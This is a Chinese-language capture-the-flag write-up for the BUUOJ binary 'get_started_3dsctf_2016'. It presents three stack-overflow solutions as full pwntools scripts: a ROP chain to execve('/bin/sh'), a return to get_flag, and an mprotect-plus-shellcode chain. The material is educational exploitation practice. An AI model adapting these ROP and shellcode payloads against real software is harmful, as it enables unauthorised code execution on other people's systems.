0x00 方法一

静态编译,32位,想到通过系统调用来获取shell。

首先使用cyclic工具计算出了偏移量为56。由于该题的是外平栈,无需再加0xdeadbeef。

首先找到pop eax:

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "eax"

得到可用结果:0x080b91e6

0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

找pop ebx:

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" |grep "ebx"

非常完美的一条^^:

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

接下来找“/bin/sh”:

ROPgadget --binary get_started_3dsctf_2016 --string "/bin"

没有结果,需要自己写入。先将”/bin”写入eax里,再挑一个可写入的地址,这里将”/bin”写入的edx存入的地址:

为了让地址可控,使用`vmmap`命令找一个可写的地址,我这里挑了个比较大的0x080eb020:

那么“/sh/x00”需要写在它的后四位。即”0x080eb020+4“,最后需要填入int 0x80:

ROPgadget --binary get_started_3dsctf_2016 --only "int"

1个结果:

Gadgets information
============================================================
0x0806d7e5 : int 0x80

最终exp如下:

from pwn import *

local = 1
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',29252)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80)
io.sendline(payload)

io.interactive()

0x01 方法二

直接调用get_flag函数。要让程序正常退出才行,ret的地址需要是exit函数的地址,不能瞎填。

from pwn import *

#elf = ELF('./get_started_3dsctf_2016')

local = 0
if local == 1:
    io = process('./get_started_3dsctf_2016')
    gdb.attach(io,'b * 0x08048A40')
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',26854)
    #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

exit_addr = 0x0804e6a0
payload = 'a'*0x38+p32(0x80489A0)+p32(exit_addr)+p32(0x308CD64F)+p32(0x195719D1)
io.sendline(payload)

io.interactive()

0x02 方法三

利用mprotect函数:

函数原型:int mprotect(void *addr, size_t len, int prot);
             //addr 内存启始地址
             //len  修改内存的长度
             //prot 内存的权限
函数作用:将以addr开始的内存 到 addr+len的内存的权限给设置为 prot  (rwx)

首先找到可读可写区域:

./ get_started_3dsctf_2016
cat /proc/[you_pid]/maps

开始地址为080ea000,长度差不多够写shell就可以,权限为7。

mprotect_addr = 0x806EC80
mprotect_start = 0x080ea000
mprotect_len = 0x64
mprotect_proc = 0x7

让其执行完mprotect函数后返回read函数,从输入端读取mprotect_len长度的内容放入到mprotect_addr。最后传入shellcode即可。找三个寄存器加一个ret的地址,还用的【方法一】的这仨:

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

最后exp如下:

from pwn import *

elf = ELF('./get_started_3dsctf_2016')

local = 0
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',26854)

mprotect_addr = 0x806EC80
mprotect_start = 0x080ea000
mprotect_len = 0x64
mprotect_proc = 0x7

pop_edx_ecx_ebx = 0x0806fc30

read_addr = elf.symbols['read']

shellcode = asm(shellcraft.i386.linux.sh())

payload = 'a'*0x38+p32(mprotect_addr)+p32(pop_edx_ecx_ebx)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_proc)
payload += p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_start)

io.sendline(payload)
io.sendline(shellcode)
io.interactive()